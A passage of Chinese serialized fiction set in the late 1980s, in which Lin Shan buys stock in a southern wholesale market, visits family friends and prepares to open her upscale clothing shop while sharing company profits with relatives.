三个人气色都很好，尤其是林红和王军，可见婚后这几个月过得非常滋润。虽然她之前也会在电话里跟赵桂花和林红聊，但亲眼看见他们过得好，感觉还是不一样的。 “可算是回来了。”赵桂花又一把抱住林珊，左看右看上看下看，“好好好，没瘦。” 林珊笑了，“每天吃得好睡得好，不胖就不错了，哪儿会瘦啊。” 赵桂花知道闺女在学校没受罪，她就放心了，回到家后又做了一桌饭菜，娘仨加上王军吃得不亦乐乎。其实吃什么不重要，重要的是一家人能聚在一起，才是最珍贵的。 林珊这次寒假回来，要去趟粤城进一大批货，要把服装店开开，这期间还得过个大年，真可谓时间紧任务重。 不过她在回来之前就已经规划好了，进货的同时，找店面的工作交给其他人进行，这样等进货回来，就能开始装修工作，这样过完年就好开张了。 这次去粤城，林珊打算带上赵福和林红一块儿，一是需要人帮忙拿货，二来也想带他们去见见世面。 家里的一切就都交给赵桂花、王芳，以及几个店长了。 赵桂花一听这刚回家就又要出去，不免心疼道：“歇几天再去吧。” 林珊摇摇头，“时间实在太紧了，要是不赶着点儿，开学前就开不了店了。” 赵桂花叹气，行吧，孩子太能干有时候也让人头疼。 王军见林红对要去粤城的事一脸兴奋，忍不住笑道：“要不是单位年底事儿多，我也想跟你们一块儿去。不过有赵福在，那头又有郭家人，应该不成问题。” 次日林珊安排好家里的一切后，隔天上午就带着林红和赵福踏上了前往粤城的火车。 因为需要开将近40个小时的火车，所以林珊买的还是卧铺票，虽然贵点儿，但是安全性和舒适性是真得高出很多。 这次去粤城进货，林珊虽然提前跟郭有财打过招呼了，但是她并不打算再住人家家里。一来是他们以后过来进货会是常事，不能老住人家里。二来郭广发家离批发市场有点儿远，老麻烦郭峰开车接送实在是不好意思。 第一次人生地不熟，适当的麻烦别人可以理解，再去就不合适了。 所以这次她打算住火车站边上的招待所。批发市场离火车站特别近，这样进货比较方便，三个人抬起来就能走。 林红和赵福都是第一次出这么远的门，真算是彻底兴奋了一路。每到一个地方的站台之后，俩人都得看半天。更别提中途一看见山水，就问这是什么什么山，什么什么江吧？ 林珊也不确定是不是，只能凭借地理知识瞎猜。 大家一路说说笑笑，四十个小时也不难熬，等三人挤出粤城火车站的时候，林红和赵福傻傻地看了很久，真大啊，本来以为省城汉州就够厉害了，跟人家粤城一比好像乡下啊。 林珊等他俩看够，背起包裹，“走吧，咱先找住的地方。” 两人背着行囊跟在林珊后头，一路左顾右盼，真好啊！楼居然这么高！路这么宽！人好多啊！穿得真时髦！ 林珊上一次来的时候，就留意过这附近的招待所，所以凭借记忆很精准地找到了地方。 介绍信一交，前台立刻给三人安排房间。 林珊和林红一间屋子，赵福跟两位同样来进货的大哥住一个四人间。三个人如果住一个礼拜的话，预计总花费210元。 赵福心疼得不行，恨不得去批发市场边上打地铺，反正粤城又不冷，冻不死人就行。林红也舍不得，这两百多得卖多少包子啊，粤城真贵！ 林珊安慰他俩：“那咱就抓紧时间扫货谈渠道，争取两三天就搞定。” 两人一听这个，精神头更足了，简单吃了几口带的干粮，就跟着林珊去了服装市场。 林珊买票的时候就是掐着时间算的，到粤城下火车的时候正好是早晨，这样他们安顿一下，再吃个早饭，就可以直接去拿货。 无论哪个年头身上带那么多现金都是不安全的，还是赶快换成货比较妥当。等她们办完正事儿，再去郭广发家拜访也不迟。 这次来她带了很多安河的特产和自家的包子熟肉，之前郭广发说过，他们在异地他乡，最想念的就是那口家乡的味道。所以目前送这个最合适了。 服装市场离火车站步行不到半个小时，林珊凭借记忆很快就找到了。 赵福和林红望着这一大片根本就看不到头的摊位，惊讶得说不出话来。怪不得都说要出去见见世面，真是不出来根本不知道人家已经发展到这个地步了。他们都梦想要成为的万元户，在粤城可能根本就不够看吧。 林珊大致上还记得上回那批货的摊位，按着记忆寻觅了一会儿，果然发现摊位都是固定的，只不过换了产品卖。 卖连衣裙的大哥现在改卖毛衣和棉衣，还有一款一看就很别致的毛呢裙子，林珊一眼就相中了。 她正摸着面料，老板大哥突然一拍大腿，“哦呦！是你啊小姑娘！” 林珊不确定老板是不是认出了自己，礼貌地冲他笑了笑。 大哥以为林珊忘了，乐呵呵地提醒她：“阿强带来的嘛，你那天买了我很多件裙子，后来我还带你去买毛衣，那毛衣也是我家的！想起来没有哇？” “记得记得，真没想到您记性这么好。”林珊只是不确定老板还记得她而已，毕竟每天面对那么多顾客，没想到人家居然还能记得这么清楚，真是厉害。 大哥呵呵笑，长得像大明星一样，他当然记得啦，“小姑娘这次想进什么，我给你便宜点。” 林珊笑着说：“毛呢裙和毛衣都想要，就看您给便宜多少了。” 大哥哈哈笑完，凑过来小声说：“你买的话，裙子40一条，毛衣15一件。” 林珊摸着毛衣，同样小声：“毛衣14，裙子38行不行？” “诶！”大哥瞬间露出一副“我都给这么低了，你这小丫头片子怎么还跟我讲价”的长辈式不开心，仿佛林珊多么不懂事似的。 林珊笑了，“大哥，我要二十条裙子，四十件毛衣，同样很有诚意的。” 大哥拿出计算器算了笔账，内心挣扎了两秒，最后一咬牙，“行吧，不过还是老规矩啊，别人问你就说50一条拿的货，毛衣20拿的。” “您放心，规矩我懂。”林珊说完一挥手，开始跟林红一起挑毛衣和裙子。 这大哥家的衣服质量都很不错，上回毛衣的销路非常好，那还只是夏天，在自家公司门口，等这回开了店，肯定需求量更大。而且这批毛衣是新货，从图案和针脚就能看出来。上回批发价是13，这回涨一块钱，她完全能接受。毕竟物价一直在涨，衣服又正当季。 第86章 第86章 好东西太多 毛衣各个款式和颜色都挑了两件之后, 林珊就开始挑毛呢裙。 这时代的时髦女性非常爱毛呢，再加上电影里的明星也爱穿那种毛呢裙，拿回去一定会受到广大爱美人士的追捧。连她自己都准备留一条。 林红偷偷过来跟林珊说：“这料子真好, 又厚实又软。” 谁说不是呢，这种级别的面料和款式, 别说放在安河，就是放在京市也照样卖爆。 “那再多拿几条, 留给咱自家人穿。”林珊笑着说。 林红很开心，这么好的裙子一条才38, 这放在安河百货大楼里, 至少得九十多吧，关键还没有人家的样式好, 质量好。卖衣服真赚钱啊。 挑好了毛呢裙, 林珊付款结账。老板大哥笑呵呵地数完钱, 指着摊位问：“我家棉衣不看看吗？冬天正卖呢。” 林珊刚才一来看的就是棉衣，面料倒是不错, 里头的绵不知道是什么绵, 整体薄厚适中, 就是颜色和款式不好看，感觉特别挑人。 大哥看出她瞧不上面上这批棉衣，立刻把黑布下面的一个袋子拿了出来，“这是我给别人留的货，不过他估计也要不了这么多, 你看看这个你能相中不。” 大哥拿出一件衣服抖开, 林珊瞬间眼前一亮。 这是棉夹克！ 看得出做工和棉衣是一批的，针脚和面料都很好，但是这款样式就大方洋气多了, 颜色也都很好看，有军绿色的，藏蓝色的，黑色的，深棕色的。 “这个怎么卖？”她要进二十件。 大哥偷偷比了八十的手势，林珊立刻凑过去，“75吧，我要二十件。” “哎呀呀，不行不行，太低了！”大哥头摇得跟拨浪鼓似的，小声说：“最低78。” “76吧大哥，咱当交个朋友，您给我留个电话，我以后都找您拿货。”林珊说得无比真诚，搞得大哥又是唉声叹气，又是一副拿她没办法的模样。 “唉，好吧好吧，我跟你说我这个棉衣真得不挣钱，全当交你这个朋友了。”大哥说完，拿出一张纸写了个电话号码和姓名，“我叫陈炳坤，市场上大家都叫我坤哥，我看你岁数都能当我女儿了，就叫我坤叔好啦。我家只做高档货，你有什么需要就跟我联系。” “好嘞，谢谢坤叔。”林珊接过陈炳坤的纸，又借了纸笔把自家公司的电话和自己的姓名都写了上去，“您那儿要是有了新货，也可以通知我们一下。以后我们家的进货量会越来越大，对各种高档女装都感兴趣，您可要给多便宜点啊。” “那是自然啦，就算不看在阿强一家的面子上，你这么痛快，我也会给你便宜的。”陈炳坤笑呵呵地把联系方式收好，又问她：“你还要进什么？上次的呢子大衣要不要？” “要。”上次大衣卖得最快，识货的人实在太多了，一看见好东西，卖得还不贵，自然要赶紧入手了。上次那批大衣就是陈炳坤介绍的，他介绍的都是跟他一样卖高端货的摊位，倒是非常符合林珊的需求。 “您认识卖牛仔裤的吗？”林珊这次准备进一批牛仔裤。配上毛衣，或者棉夹克，都非常时髦。 “认识！来来来，我领你们去。”陈炳坤让他摊位上的另一个男生看着货，自己领着林珊一行人去别的地方扫货去了。 牛仔裤的摊位离得不远，对方一见是陈炳坤带来的，直接报价20一条，最终林珊以19元的价格，进了二十条。要了小号和中号两个码的。 买完了牛仔裤，又扫了上次的呢子大衣家不少货。大衣十五件，套装十五件。 今年一月份过年，开年之后还能卖一阵冬装，但是林珊还想再进一批春装卖。说是春装，其实就是些衬衫和单裤。夏装现在没有新的，剩下的也都是些压箱底的货，根本不能看。所以一次不能贪多，还是得勤往粤城跑才行。 衬衫这种四季都能穿的衣服，市场到处都是。林珊选的这家虽然比普通得贵不少，但是款式面料一看就不一样。连扣子都高档很多。 九分裤林珊也拿了一些，上回卖得好，就是她穿到京市之后，都有很多人问在哪儿买的。 背带裤，灯芯绒裤，还有喇叭裤，她也适当地都拿了一些。毕竟要开店，产品不可以太单一。过两年还会流行牛仔夹克，很多时髦青年，都会穿一身牛仔装，再配上旅游鞋，一块儿出去炸街去。 所以遇见牛仔夹克的时候，她第一反应就是又一个爆款来了。 收了二十件夹克，又在一家卖翻领毛衣的收了二十件翻领薄毛衣，大货基本就买得差不多了。接下来的，就是些比较散的，比较特别的款式。这个需要慢慢逛，慢慢挑选，再加上也到了中午饭点儿，林珊就决定暂时告一个段落。 因为货多，三个人又是拖又是提，浑身上下也都挂上了大包小包。陈炳坤看不下去，直接把自家的三轮车拉了出来，“让阿生送你们回招待所，这么多衣服掉一包就亏大了。” 阿生是在他摊子干活的那个男孩儿，看这样子也就十七八岁。帮忙把包裹都放到三轮车上，笑呵呵地说：“走吧！” 林珊三人感激不尽，谢过陈炳坤之后，一块儿帮忙推着三轮车回了招待所。 招待所的前台大姐对她们搞了这么多货回来震惊坏了，林珊抽出一件紫色毛衣，偷偷趁没人的时候，塞给了大姐，“劳烦您帮忙看一下门，里头放着这么多货，多少有点儿不放心。” 大姐太理解了，这么些货，估计全部身家都在上头了，被偷了肯定要命。虽然收东西不合规矩，不过这毛衣实在太好看了，颜色正好是她喜欢的紫色，上面还有一圈小珍珠，毛料摸着真软啊。 于是，大姐偷偷看了眼四周，飞速把毛衣塞进柜台下面，小声对林珊说：“放心吧，白天都是我值班，我给你看着呢。夜班我也帮你打个招呼，一定会给你看好的。” “谢谢谢谢，那就麻烦您了。” 办完了这个事儿，三人简单吃了个午饭后，就又去了批发市场。 林珊上次就想买皮包，可惜当时钱没拿够，这回一下买了六个包，皮鞋也拿了十双。毕竟她是以服装为主，这些东西可以有，但不好太多。 而且皮质的东西进价太高，售价又不能太超过百货大楼，不然销路肯定不好。简单拿一些，就当丰富店面了。 上次她送出去的普通小丝巾，来了100条，老板翻箱倒柜才凑齐，因为要作为福利用，所以数量太少不合适。还有一家陈炳坤之前介绍过的摊位，她家有卖连衣冬裙的，呢子和条绒的都有，林珊分别来了五条。 男士西服也买了两套，男士衬衫和单裤也都来了几条，这些是给赵福和王军的。人在外头混，还是要打扮起来的。 赵福非要自己掏钱，被林珊打住了，“咱一家人该明算账的时候，一分钱都得算清。不该算账的时候，就别让你妹子我看见你掏钱了，行不行赵总？” 赵福被她这声“赵总”喊懵了，有点儿不好意思，又有点儿开心，“那、那行吧，谢谢妹子！谢谢我俩好妹子！” 林珊和林红对视一眼，忍不住笑了。 服装市场实在太大了，林珊感觉再买下去，钱包里的钱就不够逛水货市场了。她赶紧适可而止，把拎着的大包小包放回招待所后，拉着两人去了水货市场。 林珊不仅记得地方在哪儿，连接头暗号都还记着。第一次来这种地方的林红和赵福，是彻底傻眼了。这这这、这是走私来的货？！ 好大胆！ 粤城的人连天王子都不怕啊！ 他俩小心翼翼地跟在林珊后头，跟做贼了似的，生怕分分钟就被人抓走。 人家卖东西的摊主一看他俩吓成这样，连暗号都不用对了，直接从包里拿出林珊想要的丝袜。丝袜价格不高，林珊直接要了五大包，共一百双。店主高兴得不行，“靓女靓女”得叫个没完，随后在他的帮助下，卖计算器的都给便宜了十块。 计算器上回买了两个，公司一个，家里一个。这回她准备买来配给自家的四个门店。高档的皮手套这里也有，摊主说是港城电影女明星的同款。 林珊才不管哪个霞哪个卿，性价比不高她是不会买的。好在20块也不算高，她就买了 两双，放店里套模特手上，再配上呢子套裙，应该能吸引更多爱美的女士。 手表林珊一共买了五块，这年头不像后世有手机，随时能知道时间。现在没有手表真得非常不方便的，尤其是出门办事的时候。 林珊准备自家娘仨一人一块，剩下的一块给赵福，一块给王芳。 赵福却死倔着不肯，这回说什么都要自己付表钱，嘴里还振振有词，“我一个人就算了，俺两口子一共两块儿表，太贵了！不行不行，说啥也得我自己掏！” 林珊见他坚持得脸都急红了，也就顺了他的意思。 林红见买了一会儿没啥事儿，旁边的人也都很自然地在买东西，她也渐渐地没那么害怕了。看见一个领带很好看，就想买给王军。 林珊看懂了她的心思，鼓励她主动去跟人讲价。 林红靠惯了妹子，突然让她自己开口，一时还有点怯生，问了两遍才让人家摊主注意到她。 粤城做买卖的都是笑脸人，一见有人要买领带，立刻热情地招呼起来。 凡事开了头就不那么难了，林红渐渐放松下来，开始跟摊主讨价还价。最后以十五块的价格，拿下一条丝绸领带。 第87章 第87章 买到随身听 三人在水货市场逛到了太阳落山, 好东西实在太多了。要不是还要留着路费，真想把钱全都花光。 林珊想买的东西基本都买到了，就连录音机她都买了。预备给赵桂花听听广播和唱唱歌, 这样她一个人在家的时候也能多个消遣。 不过另外还有一样东西，她找了一条街都没发现, 那就是随身听。 明天一早他们要去郭广发家拜访，当天下午应该还有时间再来逛逛, 要是还没找到就没辙了，只能以后再说了。 林珊买随身听, 是想送给贺正岩。他说他最近开始系统学习英语了, 她就想着送他个随身听，方便随时听英语磁带。 虽然猜到贺正岩的家庭应该挺厉害的, 不过从他平时的作风和手上那块儿很旧的手表来看, 他应该是那种勤俭节约的人。 这种人最不好送礼, 送大送小都挺为难。所以林珊想来想去，觉得随身听挺好的。虽然那东西不便宜, 但关键是真有用, 也就不算浪费了。贺正岩应该会喜欢。 说起他学英语这个事儿, 那天在电话里说了之后，林珊就好奇他为什么突然想学英语。 贺正岩的理由很简单，就是想看懂第一手的国外资料。 林珊对于积极向上又有前瞻性的男生一向很欣赏，当时就忍不住夸了他两句，搞得贺正岩挺不好意思, 还假咳了两声。 不过很可惜, 在水货市场没看见随身听。 回到招待所后，林珊给郭广发家打了个电话，拜访人之前通知一下, 避免对方不在家、不方便，自己走空门。 电话是郭广发的老婆江秀琴接的，她立刻表示欢迎，还责备她为什么不住家里。林珊笑着解释道：“这次带得人多，实在不好意思打扰。下回我一个人来，一定上您家去住，到时候婶子可别嫌我烦呀。” 江秀琴乐着说：“你这丫头，我恨不得认你当干女儿，天天住我家才好呢！你们住哪儿，我明天让郭峰开车接你们去！” 林珊赶忙拒绝，哪有登门拜访还让人家来接的。 可江秀琴却说：“我家这地方不好找，又没有公交车，你们从批发市场那边过来太不方便了，郭峰在家闲着也闲着，开车接你们一趟算什么啊！” 林珊不是很清楚那边的路况，本来想挂了电话跟前台大姐打听一下的，听江秀琴这么说，又想起上回去的时候车好像确实开了很久，也就没再坚持。 两人又在电话里聊了几句家常后，定下明天上午十点半，由郭峰上招待所来接他们。 郭峰对这个任务还是挺开心的，不到十点半就来了，见林珊带着一男一女，还抬着两个大箱子从招待所里出来，赶紧小跑着上前帮忙。 林红他有印象，赵福就不知道是谁了，介绍之后发现是她们表哥，立刻热情得把三人请上车。 郭峰今天开得还是那个国外的小货车，车头两仓，足够三个人坐了。赵福对车特别感兴趣，一路跟郭峰聊得热火朝天，等到下车的时候，俩人已经搭着背“福哥”和“峰弟”的叫来叫去了。 林珊原本的计划是早早地过来访问一下，但是江秀琴让郭峰十点去半接他们，在经过四、五十分钟的车程，到了之后正好临近饭点，江秀琴和郭广发已经做好两道菜了。 实在是盛情难却。饭桌上他们聊了聊林红和王军的婚礼，询问了一些林珊在清大上学的感受，跟着又谈论了一下这次进货的事。 林珊把开服装店的想法一说，郭广发立刻表示赞赏，“没错，就该开个高档的，安河得发展还是太慢了，全市也找不出几个像样的地方。” 江秀琴也感慨：“是啊，时代变了，女同志早不想再穿那些‘工农装’了。漂漂亮亮得多好啊，衣服再贵我也想买。” 林珊看得出来江秀琴很爱打扮，从上到下捯饬得非常港城风格。想来衣服应该都是从那边买来的，毕竟郭家老大就在港城。这也是她没有送衣服当回礼的原因，实在是怕自己这些东西入不了人家的眼睛，倒不如实实在在地送些家乡特产好。 一顿饭大家都吃得都很开心，林珊姐俩硬是帮忙把桌子收拾干净后，才准备告辞。 郭峰再次承接了送人的任务，路上一直在可惜，“你们要是多待几天，咱就能一块儿回安河了。我们家今年回去得早。” 林珊笑道：“没办法啊，得赶紧回去开店。” 郭峰理解，做生意就得争分夺秒，“那我明天过来帮你们把货拉到车站。” 林珊哪好意思一直麻烦人家，“不用不用，我已经靠好了拉板车，你过来太远了，心意我领了，非常感谢。” 郭峰听到她都安排好了，也就没坚持，“水货市场你也逛了？” 林珊：“逛了，不过随身听没买到，不知道哪儿有。” “随身听啊。”郭峰想了下，“你现在还想要吗？想要我带你们去找阿强，他那儿应该有。” “要要！太感谢了！”要是临走能买到随身听，那就再好不过了。 郭峰随后把车很快到了一家铺子跟前，里头有卖表的，卖录音机的，卖墨镜的，卖打火机的……很杂，都是些时髦的稀罕货，一看就都是外来的。 招牌只简单挂着一个“佳品商铺”的木牌子，业务范围是一点儿没写，但是里头的客人却络绎不绝。 郭峰没介绍这家店的情况，直接领着三人进去找到了阿强，“我老家妹子，上次见过的，她想要随身听。” 阿强热情无比：“有有有！林珊妹妹吧，我当然记得啦！等一下，我这就让人去拿货。”跟着阿强朝后面喊了一声，一个十八九岁的姑娘就从后面钻了出来。她有点黑，个头倒是不矮，浓眉大眼，满脸得不耐烦。 不过在看到郭峰后，她眼睛一亮，瞬间笑得无比灿烂，“峰哥！你怎么来啦？” 郭峰解释了一下缘由，那姑娘立刻细细打量起林珊和林红，然后“啪”的一声，被他哥一巴掌呼到背上后，极不情愿地拿起钥匙跑后面拿货去了。 “不好意思，那是我妹妹阿英。”阿强有些头疼。 郭峰却笑着说：“阿英要是不想看店，你们就让她自己摆摊试试呗，总比天天闹脾气强。” “唉。”阿强叹气。 随身听很快就拿了过来，一共三款，林珊挑了其中一个比较实用的，花费220元买了下来。这已经是阿强给的腰斩价格了，真是感激不尽。 这种随身听连粤城都很少见，可想而知货有多紧俏了。 回去的时候听郭峰说，这店是阿强家自己开的。这条街上还有三家店，分别是他其他三个哥哥在管。家里唯一的宝贝小妹，天天想着要自己出去闯荡，不想继 承家业。 阿强老爸呢，却非想让他小妹在店里好好学习，然后再开一家店给她。属于是有钱人的烦恼。 郭峰说完笑道：“她妹子倒是跟你一样，都对服装感兴趣。” 林珊听在耳朵里，记在了心上。服装店开了之后，要是能在粤城这边找一个合伙人，一切就会方便很多。不过这也只是她的初步构想，当下最重要的是回家开店。 次日上午，林珊一行人踏上了回城的火车。照旧是卧铺票，幸运的是这回的包厢全程就只有他们三个人。一下子又多了一个床位放东西，就这，他们也把包厢塞得满满当当的，夜里睡觉都得蜷缩着。 四十个小时候，火车顺利抵达安河。 王军开着车，赵桂花让公司送货的工人骑上三路车，才一块儿把这些货都运回了家里。 林珊没功夫歇脚，就直接去找周婶和郭有财了，她去粤城之前，拜托两位帮忙留意一下店铺的事儿。 两边效率都很高，都找到了几家空铺。 林珊简单吃了口午饭，就跟林红一块儿去考察这几个铺子了。 高档服装店对店面的要求比较高，要地方宽敞，人流量大，周围得环境又必须好。不能是菜市场，不能是摆摊胜地。 看了一圈下来之后，林珊和林红一致都觉得百货大楼旁边的那间铺子最为合适。这地方除了租金贵，基本没有任何毛病。 于是在郭有财的帮忙下，林珊最终以每月110元的价格，拿下了这间占地60多平方米的店面。 这家店原来是卖钟表的，现在挣钱了想换更大的地方，所以就不租了。林珊算是捡漏了，要不是有郭有财按着，人家早出手了。 林珊自然是要狠狠感谢郭爷爷一番的。 郭有财才不搞这套虚的，帮就是交情够，不然求都没用。看着这丫头痛快地签了合同，他好奇地问：“你搞这么大的服装店，还离百货大楼就五十来米，就这么有信心一定能卖得过人家？” 林珊知道现在的老百姓但凡想买点儿好东西，第一选择一定是百货大楼。这年头的百货大楼，是当地最牛气的存在，谁要是能在里面当个售货员，都是无比荣耀的事情。 林珊之所有这么选择，当然是为了借百货大楼的光，这地方人流量多大啊，消费群体也是比较有钱的。自家的衣服又比他们好，就算卖得更贵一些，照样会有人买。 这也就是为什么后来个体户兴起之后，百货大楼就逐渐开始衰败了。 第88章 第88章 年底分红 选好了店铺, 就要开始紧锣密鼓地装修了。 服装店跟包子铺完全不一样，为了尽可能展现服装的美，整个店需要走高端的风格。林珊当初看上这铺子, 还因为它门口有两个特别大的窗户。 这样简单一收拾，就能摆上人体模特展示衣服, 不用在窗户和门脸上动大动作，可以节约不少成本。 服装店的内部装修, 林珊主要是按照后世精品服装店的摆设设计的。 不同于这个时期，百货大楼那种衣服挂墙上, 售货员在柜台里来回走动, 消费者在柜台外面试来试去的设置。她们服装店内，除了右后方会放一个结账的柜台外, 其他地方要全部安排成动线。 大家可以摸衣服, 看衣服, 随意去更衣室试衣服，不用再几个售货员拿布挡着, 顾客在里头脱来脱去了。 店面的装修, 林珊还是交给了从包子铺就一直合作的徐大爷。她希望店铺还是要以白色为基调, 衣帽间要有，展示衣服的台子要有，另外还要做个隔断，里头放库存和杂物。这样隔断的另一面，正好可以当做影壁墙, 用来挂招牌用。 另外灯光也有要求, 这年头没有射灯，但是屋内必须足够亮，尤其是安有镜子的地方, 整个店铺采用黄白光相结合的照明方式。 地板就不用动了，上一家钟表店做得水磨石地面，看着非常不错，完全可以留着用。这年头铺瓷砖很贵，还很容易滑到，要是雨天再摔伤个人，店就不用开了。 徐大爷一一听完林珊的要求，表示完全没问题。他现在的队伍越来越大了，还有两个小子刚从南方回来，对电路通得很。其他方面就更不用说了，要求都不复杂，但是做工得好，这点他最在行。 交代好装修事宜后，林珊就去着手买店内的软装了。 因为她采用的风格以白色基调为主，所以其他物品用原木的来搭，会比较合适一些。店内所有的展示架子、桌子、凳子，包括前台柜，她都要现做。 木匠找的还是在大杂院的时候，帮她家做过小柜子的师傅，都是老街坊知根知底，加上大爷的手艺又快又好，林珊就痛快交了定金，大爷也拍着胸脯保证，这个年他不休息了，初八就能交货，绝对不耽误她开张。 林珊感激不尽，谢过大爷后，又抓紧去找人体模特了。 这东西可不好弄，安河都没有卖的，省城也没听说哪儿有卖这些东西的。最后还是郭有财神通，拜托了一下百货大楼的经理，从他们淘汰的模特里，超低价买了六个过来。 虽然掉漆，又缺胳膊少腿的，但是林珊回去之后简单一拼凑，再把模特给抛光，重新刷上漆，四个完整的人体模特，就赫然呈现在了大家面前。 赵桂花起夜的时候，一不留神老被那几个假模特吓到，直呼让她赶紧弄走。 林珊也想，不过装修年前是搞不完的，徐大爷说他过年不休息，也得初十才能弄完，只好暂时委屈桂花女士一下了。 安排好大部分软装后，已经年二十六了。林珊从粤城买的那些货里，拆了一些翻领毛衣和条绒裤出来，再次拿到了公司门口摆摊。 上次写得那个“港城高档女装”的招牌重新一挂，又加了副大大的“红珊服装店”正月十六正式开幕的通知。 摆出来没一会儿，就围过来一大帮年轻姑娘。有之前买过的，有第一次光顾的。虽然有些已经买好今年过年的新衣服了，但看见这么好看的翻领毛衣和条绒裤，还是忍不住想买。 不过大家共同的抱怨，都是这次货太少了。 林珊指了指写好的通知，笑着说：“我们红珊服装店，正月十六就在百货大楼旁边开业了，本来没想年前卖衣服的，但是上次大家那么热情，给了我们很大的信心开店，所以这些毛衣和裤子，等于是我们回馈给大家的。大家要是想要别的，什么呢子大衣、夹克棉衣，套装和各种毛衣裤子，我们店应有尽有，百分百港城高端服装，到时候欢迎去捧场。” “天啊，太好了！我之前就想说你家要是开铺子就好了！正月十六是吧，百货大楼旁边？好！我一定去！”一位上次买了连衣裙和毛衣的姑娘，激动地说。 她上次在这儿买的衣服，回去之后家里看了都说好，他对象还说她跟电影明星似的，特别漂亮。正愁以后没有这种好衣服了，没想到她们居然要开店了！太棒了！ “我也要一条裤子，小号的。” “我也来一条！” “我要那个戴圈珍珠的紫色毛衣！” …… 好货不多，以后放在店里肯定要比摊上贵，小姑娘们识货又聪明，很快翻领毛衣和条绒裤就被一扫而空，林珊家要在百货大楼旁边开服装店的消息，也迅速传播起来。 至于服装店名，还真不是林珊临时决定的，早在开第一家包子铺的时候，她就已经想好了。取林红和自己的名字，组成红珊服装店。本来想把赵桂花也加上的，但是组合了半天感觉都不是很好听。虽然红珊也比较一般，但至少像个服装品牌。 在敲定店面的那天，林珊就已经去工商局找黄丽娟办理了营业执照。毕竟有人好办事，而且注册这个又只需要有个固定的店铺地址。她一早就给办妥当了。 现在离工商局放假还有两天半，林珊待会儿回去之后，得赶紧设计一个图案出来，好赶在年前把商标给申请了。虽然这 个不影响开店，但还是快点儿好，免得“红珊”这名字被人注册了。尽管可能性不大，不过做事还是谨慎些好。 林珊在公司画了一下午，有圆形的，有心形的，有三角的，还有一堆不明形状的。最后一副交叉丝带样式的图标，被大家一致举手说好。 丝带尾巴上飘着“红珊”两个字，整个图标简洁又柔软。 定下来后，申请注册就简单多了，林珊不但赶在年前把这些都办妥了，还有功夫亲自给包子铺的员工们发奖。 去年她在住院，很多事只能让人代劳，今年必须自己来。所以年二十八闭店那天下午，她安排所有员工到公司来领福利，接受表扬。幸亏小院地方大，不然还真不够用的。 这一年包子铺的营收非常好，每个店都比去年上涨了很多，平均下来达到了16%的年增长率，数据非常可观。加盟业务目前进展到了五家店，供货的盈利已经完全超越了加盟费，洽谈中的合作还有六笔，势头良好。 公司今年给大家的福利比去年多。除了粮油，还有门店的熟肉和王军专门购置的苹果。当然了，最重要的还是年终奖。 因为今年营收漂亮，林珊给业绩成长率最好的门店，所有人奖励半年工资。第二名奖五个月工资，依次往下推。福利高，员工的热情自然高涨。长期干下去，努力争优秀的劲头自然就越强。 给门店员工们发完福利，剩下的就是公司内部了。 李娜现在一直跟着林红负责供底料的事情，每天尽职尽责，啥活都干。林珊也奖励了她半年的工资。李娜对钱不是很敏感，虽然在笑，但都没有她拿到那一箱苹果的时候开心。 至于赵福和王芳两口子，林珊打算直接让他们入股“林爱国食品有限公司”。这事儿她头天晚上已经跟赵桂花和林红聊过了，决定让他们占股15%，剩下85%的股份，母女三人平分。 林红和赵桂花同意给赵福家15%，但是不想自己娘仨分这么清。林珊是为了以后的发展，所以决定一切都按照正规化的模式走。三个人一块儿开的店，三个人一块儿分红。 林红知道妹子这么做是为了公司好，她想了一会儿后同意了，不过要求道：“钱还是放在一块儿，咱开服装店要用不少钱，以后你要再想干些别的，肯定也需要很多钱。你之前不是还说以后想买什么券吗？所以啊，钱还是都交给你来管得好。你能想到的东西多，我跟妈啥也不懂，有这么些钱也是放着。” 赵桂花也猛点头，“就是啊，你娘我要这么些钱干啥？你来管，咱家都听你的。” 林珊本来就打算娘仨明确分红，以后共同经营事业，共同出资什么的，跟她俩说得倒也大差不差。 母女三人在这一点上达成共识，今天跟赵福两口子一提，俩人却吓得赶紧摆手，说什么都不肯。 林珊知道赵福和王芳本性纯良，不好意思接受这些，但是企业要壮大发展，以后的事儿会越来越多，这半年又几乎都是他两口子在外开店，虽然工资给得不少，但想做大，想留住人才，就必须给干实事儿的人足够多的利益才行。 再加上赵福又是这么近的亲戚，两口子又有能力，培养他们可定比先培养外人强。 赵福两口子听了林珊解释后，还是不要，总觉得拿这么老多工资，就该踏实干事儿，妹子说得那些是她自己的道理，他俩要是再拿股份那成啥了。 大家讨论到最后，非得林珊姐妹俩加上赵桂花一同黑脸，才逼得两口子同意这个事儿，不过赵福硬是坚持道：“姑，珊丫头红丫头，我知道你们都念在咱是这么近的亲戚，但是这股份我们真不能白拿，你们看这样行不行，今年明年后年，这三年的报酬我们不要，当成是俺两口子入股咱公司的资格。” 赵桂花看侄子很坚定，一时拿不定主意，看向林珊。 林珊见赵福和王芳两口子，都是一副无比真诚又坚定不移的模样，笑道：“全安河估计也就咱家了，头一次见给钱不要的。” 赵福笑了，“这咱凡事都得讲个良心不是。” 王芳再同意不过了，要没有大姑和这俩好妹子，他家还吃不上几口肉呢。现在不但村里的房子翻盖了新的，他们在城里也快能买得起房了，孩子们都在市里上学，她跟赵福工资又高，吃得喝得穿得啥都有，还能不时去外地看看。这日子以前连想都不敢想。 人啊，得知足，千万不能把人家给得恩情当成应该的。 第89章 第89章 红珊服装店 搞定完公司内部分红, 又挨个儿把所有的年礼都送出去之后，大年三十很快就到了。 家里虽然只有林珊和赵桂花两个人，但娘俩还是做了四道菜来过大年。初一不干活, 两人睡了个自然醒后，就开始去拜大年了。 有来她家的, 有她们去别人家的。 大年初二是林红嫁人后第一次正式回娘家的日子，赵桂花按照礼数做了一大桌菜迎接他俩, 不过母女俩毕竟天天见，林红和王军又时不时回来住, 所以感觉还是跟平常似的。 走完大年初二的流程, 母女三人开始马不停蹄地准备服装店的事了。这么多衣服要整理，要重新熨烫, 还要研究整体怎么摆设, 主打款式是哪几款, 模特身上要怎么搭配…… 好不容易整理完衣服，又要开始一一定价。扣除所有的成本开销, 加上每款衣服的利润空间, 加加减减算出一个合理的区间。 由于绝大多数衣服的款式和面料都比百货大楼好, 所以林珊的定价比大楼高出8%左右。虽然这样可能会刷掉一批顾客，但定位不同，受众不同，这也是不可避免的。 因为定位高端，包装也不能糊弄。林珊这次在粤城特意买一大批塑料包装袋, 为的就是这个。八七年初塑料袋还没有全国普及, 在安河这个小地方的人，大多数还是提着篮子和布兜去买东西的。 虽然用后世的眼光来看，塑料袋不入格, 但在这个时代的人眼里，还是很挺潮的。以后产业发达一些之后，她会开始专门定制属于“红珊”的包装品，但目前就只能如此了。 